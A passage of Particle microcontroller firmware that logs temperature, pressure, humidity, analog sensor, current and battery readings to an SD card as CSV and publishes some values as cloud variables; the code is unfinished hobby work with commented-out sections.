alert has been triggered\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/fuel gauge\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/SD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"SdFat\/SdFat.h\"\n#define SPI_CONFIGURATION 0\n\/\/------------------------------------------------------------------------------\n\/\/ Setup SPI configuration.\n#if SPI_CONFIGURATION == 0\n\/\/ Primary SPI with DMA\n\/\/ SCK => A3, MISO => A4, MOSI => A5, SS => A2 (default)\nSdFat sd;\nconst uint8_t chipSelect = SS;\n#elif SPI_CONFIGURATION == 1\n\/\/ Secondary SPI with DMA\n\/\/ SCK => D4, MISO => D3, MOSI => D2, SS => D1\nSdFat sd(1);\nconst uint8_t chipSelect = D1;\n#elif SPI_CONFIGURATION == 2\n\/\/ Primary SPI with Arduino SPI library style byte I\/O.\n\/\/ SCK => A3, MISO => A4, MOSI => A5, SS => A2 (default)\nSdFatLibSpi sd;\nconst uint8_t chipSelect = SS;\n#elif SPI_CONFIGURATION == 3\n\/\/ Software SPI. Use any digital pins.\n\/\/ MISO => D5, MOSI => D6, SCK => D7, SS => D0\nSdFatSoftSpi<D5, D6, D7> sd;\nconst uint8_t chipSelect = D0;\n#endif \/\/ SPI_CONFIGURATION\n\nFile myFile;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/SD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/BME\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"SparkFunBME280\/SparkFunBME280.h\"\n\nBME280 mySensor;\n\nunsigned int sampleNumber = 0; \/\/For counting number of CSV rows\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/BME\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ads\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"Adafruit_ADS1X15\/Adafruit_ADS1X15.h\"\n\nAdafruit_ADS1115 ads; \/* Use this for the 16-bit version *\/\ndouble multiplier;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ads\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Variabels\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nunsigned long previousMillis = 0; \/\/ will store last time LED was updated\n\nconst int nAverage = 30; \/\/How many readings should be averaged 0<X<512\nfloat sharp_readings[nAverage]; \/\/\nint reading_index=0; \nfloat sharp_a=0;\n\nfloat shuntvoltage = 0;\nfloat busvoltage = 0;\nfloat current_mA = 0;\nfloat loadvoltage = 0;\n\n\nfloat batter_voltage = 0; \/\/Published\nfloat tempC = 0; \/\/Published\nfloat GPS_lon = 123.456; \/\/Published (WIP)\nfloat GPS_lat = 123.456; \/\/Published (WIP)\nfloat sharp_reading = 0; \n\/\/Published\n\n\nFuelGauge fuel;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/Particle Functions\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/Update these when you want to publish new data\nchar sharp_str[64]; \nchar battery_str[64]; \nchar GPS_str[64];\nchar temp_str[64];\n\n\nunsigned long sharp_timer_publish = micros();\nunsigned long five_minute_publish = micros();\n\n\/\/Controle variable of what to publish and how offent to publish \nint print_controle = 0x001D;\n\/* 0000 0000 0000 0000 = print nothing \n XXXX XXXX XXXX XX01 = print the sharp every five minutes\n XXXX XXXX XXXX XX10 = print the sharp every two minutes \n XXXX XXXX XXXX XX11 = print the sharp every minute\n XXXX XXXX XXXX X1XX = print the battery voltage every four minutes\n XXXX XXXX XXXX 1XXX = print the GPS location every four minutes\n XXXX XXXX XXX1 XxXX = print the temerature every four minutes\n XXXX XXXX XX1X xxXX = print Something else\n XXXX XXXX X1XX XxXX = print Something else...ECT\n*\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/Particle Functions\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Variables\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/SYSTEM_MODE(AUTOMATIC);\nSYSTEM_MODE(MANUAL);\n\/\/Particle.connect(); \/\/This will conect to the cloud\n\/\/Particle.process(); \/\/This must then be called at least every 20s to maintain the conection\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup() {\n Serial.begin(115200);\n \/\/while (!Serial) { \/\/wait for the Seial com port to be opened before running anything\n \/\/ SysCall::yield();\n \/\/}\n \/\/RGB.control(true);\n \/\/RGB.color(0,0,0);\n Time.zone(-6);\n Time.format(Time.now(), \"%H:%M:%S\");\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/Particle Functions\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/Variables 12 char MAX\n Particle.variable(\"sharp\", sharp_str, STRING); \/\/Both the sharp and battery in one\n \/\/Particle.variable(\"sharp\", sharp_str, STRING); \/\/Sharp reading\n Particle.variable(\"battery\", battery_str, STRING); \/\/Battery Voltage\n \/\/Particle.variable(\"GPS\", GPS_str, STRING); \/\/GPS location\n Particle.variable(\"temp\", temp_str, STRING); \/\/Tempiture (Inside or Outside, IDK)\n \n \/\/Particle.function(\"Pumps\", Pump); \/\/turn the pumps on and off\n Particle.function(\"Prints\", print); \/\/Determin what to print and print it\n \n print(\"command\");\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/Particle Functions\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/GPIO\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n pinMode(D6, OUTPUT);\n digitalWrite(D6, HIGH);\n \/\/pinMode(D5, OUTPUT);\n \/\/digitalWrite(D5, HIGH);\n \/\/pinMode(D6, OUTPUT);\n \/\/digitalWrite(D6, HIGH);\n pinMode(D4, OUTPUT);\n digitalWrite(D4, LOW);\n \n pinMode(D7, OUTPUT); \/\/Debug for pumps only\n digitalWrite(D7,LOW);\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/GPIO\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/SD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Initialize SdFat or print a detailed error message and halt\n \/\/ Use half speed like the native library.\n \/\/ Change to SPI_FULL_SPEED for more performance.\n if (!sd.begin(chipSelect, SPI_HALF_SPEED)) {\n sd.initErrorHalt();\n }\n if (!myFile.open(\"AOS_Test.txt\", O_RDWR | O_CREAT | O_AT_END)) {\n sd.errorHalt(\"opening test.txt for write failed\");\n }\n \n myFile.close();\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/SD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/BME\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/***Driver settings********************************\/\/\n\t\/\/commInterface can be I2C_MODE or SPI_MODE\n\t\/\/specify chipSelectPin using arduino pin names\n\t\/\/specify I2C address. Can be 0x77(default) or 0x76\n\n\t\/\/For I2C, enable the following and disable the SPI section\n\tmySensor.settings.commInterface = I2C_MODE;\n\tmySensor.settings.I2CAddress = 0x77;\n\n\t\/\/For SPI enable the following and dissable the I2C section0\n\t\/\/mySensor.settings.commInterface = SPI_MODE;\n\t\/\/mySensor.settings.chipSelectPin = 10;\n\n\n\t\/\/***Operation settings*****************************\/\/\n\tmySensor.settings.runMode = 3; \/\/ 3, Normal mode\n\tmySensor.settings.tStandby = 0; \/\/ 0, 0.5ms\n\tmySensor.settings.filter = 0; \/\/ 0, filter off\n\t\/\/tempOverSample can be:\n\t\/\/ 0, skipped\n\t\/\/ 1 through 5, oversampling *1, *2, *4, *8, *16 respectively\n\tmySensor.settings.tempOverSample = 1;\n\t\/\/pressOverSample can be:\n\t\/\/ 0, skipped\n\t\/\/ 1 through 5, oversampling *1, *2, *4, *8, *16 respectively\n mySensor.settings.pressOverSample = 1;\n\t\/\/humidOverSample can be:\n\t\/\/ 0, skipped\n\t\/\/ 1 through 5, oversampling *1, *2, *4, *8, *16 respectively\n\tmySensor.settings.humidOverSample = 1;\n\t\n\tmySensor.begin();\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/BME\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ads\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ads.setGain(GAIN_TWOTHIRDS); \/\/ 2\/3x gain +\/- 6.144V 1 bit = 3mV 0.1875mV (DEFAULT)\n \/\/multiplier = 0.1875F;\n \/\/ads.setGain(GAIN_ONE); \/\/ 1x gain +\/- 4.096V 1 bit = 2mV 0.125mV\n \/\/multiplier = 0.125F;\n \/\/ads.setGain(GAIN_TWO); \/\/ 2x gain +\/- 2.048V 1 bit = 1mV 0.0625mV\n \/\/multiplier = 0.0625F;\n \/\/ads.setGain(GAIN_FOUR); \/\/ 4x gain +\/- 1.024V 1 bit = 0.5mV 0.03125mV\n \/\/multiplier = 0.03125F;\n \/\/ads.setGain(GAIN_EIGHT); \/\/ 8x gain +\/- 0.512V 1 bit = 0.25mV 0.015625mV\n \/\/multiplier = 0.015625F;\n \/\/ads.setGain(GAIN_SIXTEEN); \/\/ 16x gain +\/- 0.256V 1 bit = 0.125mV 0.0078125mV \n \/\/multiplier = 0.0078125F;\n \/\/ads.begin();\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ads\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/fuel gauge\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n lipo.begin(); \/\/ Initialize the MAX17043 LiPo fuel gauge\n\n\t\/\/ Quick start restarts the MAX17043 in hopes of getting a more accurate\n\t\/\/ guess for the SOC.\n\t\/\/lipo.quickStart();\n\n\t\/\/ We can set an interrupt to alert when the myFile.print(\",\");batter SoC gets too low.\n\t\/\/ We can alert at anywhere between 1% - 32%:\n \/\/lipo.setThreshold(20); \/\/ Set alert threshold to 20%.\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/ fuel gauge \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ads115\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/uint32_t currentFrequency;\n ina219.begin();\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ads115\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nvoid log_data() {\n \/\/double sharp0, sharp1, sharp2, sharp3;\n \/\/sharp0 = read_sharp(0);\n double particle_analogsignal;\n particle_analogsignal=voltageRaw();\n\n float shuntvoltage = 0;\n float busvoltage = 0;\n float current_mA = 0;\n float loadvoltage = 0;\n\n float sharp_a = read_sharp_averaged();\n \n \n shuntvoltage = ina219.getShuntVoltage_mV();\n busvoltage = ina219.getBusVoltage_V();\n current_mA = ina219.getCurrent_mA();\n loadvoltage = busvoltage + (shuntvoltage \/ 1000);\n \n\n \n \/\/sharp1 = read_sharp(1);\n \/\/sharp2 = read_sharp(2);\n \/\/sharp3 = read_sharp(3);.\n \n float tempC, press, altM, RH;\n tempC = mySensor.readTempC();\n press = mySensor.readFloatPressure();\n altM = mySensor.readFloatAltitudeMeters();\n RH = mySensor.readFloatHumidity();\n \n if (!myFile.open(\"AOS_Test.txt\", O_RDWR | O_AT_END)) {\n sd.errorHalt(\"opening test.txt for write failed\");\n }\n \n myFile.print(tempC, 3); myFile.print(\",\");\n myFile.print(press, 1); myFile.print(\",\");\n \/\/myFile.print(altM, 3); myFile.print(\",\");\n myFile.print(RH, 3); myFile.print(\",\");\n \/\/myFile.print(sharp0,3); myFile.print(\",\");\n \/\/myFile.print(particle_analogsignal,3);myFile.print(\",\");\n \/\/myFile.print(sharp1,3); myFile.print(\",\");\n \/\/ myFile.print(sharp2,3); myFile.print(\",\");\n \/\/myFile.print(sharp3,3); myFile.println(\",\");\n myFile.print(sharp_a,1); myFile.print(\",\");\n myFile.print(String::format( \"%02.2f\", fuel.getVCell())); myFile.print(\",\");\n myFile.print(busvoltage,2); myFile.print(\",\");\n myFile.print(shuntvoltage,2); myFile.print(\",\");\n myFile.print(loadvoltage,2); myFile.print(\",\");\n myFile.print(current_mA,3); myFile.print(\",\");\n \n \n myFile.print(String::format(\"%d-\", Time.year()));\n myFile.print(String::format(\"%d-\", Time.month()));\n myFile.print(String::format(\"%d,\", Time.day()));\n myFile.print(String::format(\"%d:\", Time.hour()));\n myFile.print(String::format(\"%d:\", Time.minute()));\n myFile.println(String::format(\"%d\", Time.second()));\n \/\/ myFile.print(battery_volts,3);myFile.print(\",\");\n \/\/ myFile.println(soc,3);\n myFile.close();\n \n \n}\n\nfloat voltageRaw (){\n digitalWrite(D6, 0);\n delayMicroseconds(280);\n sharp_reading = analogRead(0);\n delayMicroseconds(40);\n digitalWrite(D6, 1);\n \n \/\/delay(12);\n return (sharp_reading);\n}\n\nfloat read_sharp_averaged(){\n reading_index++;\n if(reading_index >= nAverage){\n reading_index = 0;\n }\n sharp_readings[reading_index] = sharp_reading;\n \/\/Serial.print(String::format(\"Index:%d Value:%f,\", reading_index, sharp_readings[reading_index]));\n float sum = 0;\n for(int i = 0; i < nAverage; i++){\n sum = sum + sharp_readings[i];\n }\n return sum\/(nAverage);\n}\n\n\n\n\n\nvoid loop() {\n const unsigned long interval_1 = 5000; \/\/ interval at which to collect data (milliseconds)\n const unsigned long interval_2 = 60000; \/\/ interval at which to publish data (milliseconds)\n \n \n if(millis() - previousMillis >= interval_1) {\n previousMillis = millis(); \n log_data();\n \n float raw=voltageRaw();\n \/\/Average();\n tempC = mySensor.readTempC();\n \n float sharp_a = read_sharp_averaged();\n \/\/Serial.print(String::format(\"%f, %f,\", tempC, sharp_a));\n \/\/Serial.print(Time.timeStr());\n \/\/Serial.print(String::format(\"%d-\", Time.year()));\n \/\/Serial.print(String::format(\"%d-\", Time.month()));\n \/\/Serial.print(String::format(\"%d,\", Time.day()));\n \/\/Serial.print(String::format(\"%d:\", Time.hour()));\n \/\/Serial.print(String::format(\"%d:\", Time.minute()));\n \/\/Serial.println(String::format(\"%d\", Time.second()));\n \n FuelGauge fuel;\n \/\/Serial.print(String::format( \"%02.2f %03.2f\", fuel.getVCell(), fuel.getSoC()));\n \n float shuntvoltage = 0;\n float busvoltage = 0;\n float current_mA = 0;\n float loadvoltage = 0;\n \n batter_voltage = fuel.getVCell();\n \n shuntvoltage = ina219.getShuntVoltage_mV();\n busvoltage = ina219.getBusVoltage_V();\n current_mA = ina219.getCurrent_mA();\n loadvoltage = busvoltage + (shuntvoltage \/ 1000);\n \n Serial.print(\"Bus Voltage: \"); Serial.print(busvoltage); Serial.println(\" V\");\n Serial.print(\"Shunt Voltage: \"); Serial.print(shuntvoltage); Serial.println(\" mV\");\n Serial.print(\"Load Voltage: \"); Serial.print(loadvoltage); Serial.println(\" V\");\n Serial.println(\"Current: \"); Serial.print(current_mA); Serial.println(\" mA\");\n }\n \n \n push_new_data(); \/\/Loop this continuesly and it will publish the data as needed (Don't comment out if you want to publish anything)\n delay(10); \/\/Optional delay\n \n}\n\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/Particle Functions\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint print(String command){\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ add bit that reads command and converts it into print_controle here\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/if(command == \"GPS\"){ \/\/print the GPS location\n char GPS_temp[32];\n int GPS_lon1 = (GPS_lon - (int)GPS_lon) * 10000;\n int GPS_lat1 = (GPS_lat - (int)GPS_lat) * 10000;\n sprintf(GPS_temp,\"%0d.%d,%0d.%d\", (int)GPS_lon, GPS_lon1, (int)GPS_lat, GPS_lat1);\n \/\/google docs will get this variable - if you are storing the value in a google sheet\n sprintf(GPS_str, \"{\\\"t\\\":%s}\", GPS_temp);\n \/\/}\n \/\/if(command == \"temp\"){ \/\/print the temerature\n char temp_temp[32];\n int temp_reading1 = (tempC - (int)tempC) * 100;\n sprintf(temp_temp,\"%0d.%d\", (int)tempC, temp_reading1);\n \/\/google docs will get this variable - if you are storing the value in a google sheet\n sprintf(temp_str, \"{\\\"t\\\":%s}\", temp_temp);\n \/\/}\n push_new_data();\n}\n\nint push_new_data(){\n switch(print_controle | 0x0003){ \/\/This may not be working corectly??? IDK\n case 2: \/\/print every two minutes\n if(micros() > sharp_timer_publish + 120000){\n publish_sharp();\n }\n break;\n case 3: \/\/print every minute\n if(micros() > sharp_timer_publish + 60000){\n publish_sharp();\n }\n break;\n default:\n if(micros() > sharp_timer_publish + 300000){\n publish_sharp();\n }\n break;\n }\n if(micros() > five_minute_publish + 300000){\n five_minute_publish = micros();\n \/\/anything needing publishing every five minutes can go here\n print(\"command\"); \/\/ Temporary update GPS and temp every five minutes\n }\n \n}\n\nvoid publish_sharp(){ \/\/Publish sharp and battery state\n sharp_timer_publish = micros();\n \n char sharp_temp[32];\n int sharp_reading1 = (sharp_reading - (int)sharp_reading) * 100;\n sprintf(sharp_temp,\"%0d.%d\", (int)sharp_reading, sharp_reading1);\n \n char battery_temp[32];\n int battery_reading1 = (batter_voltage - 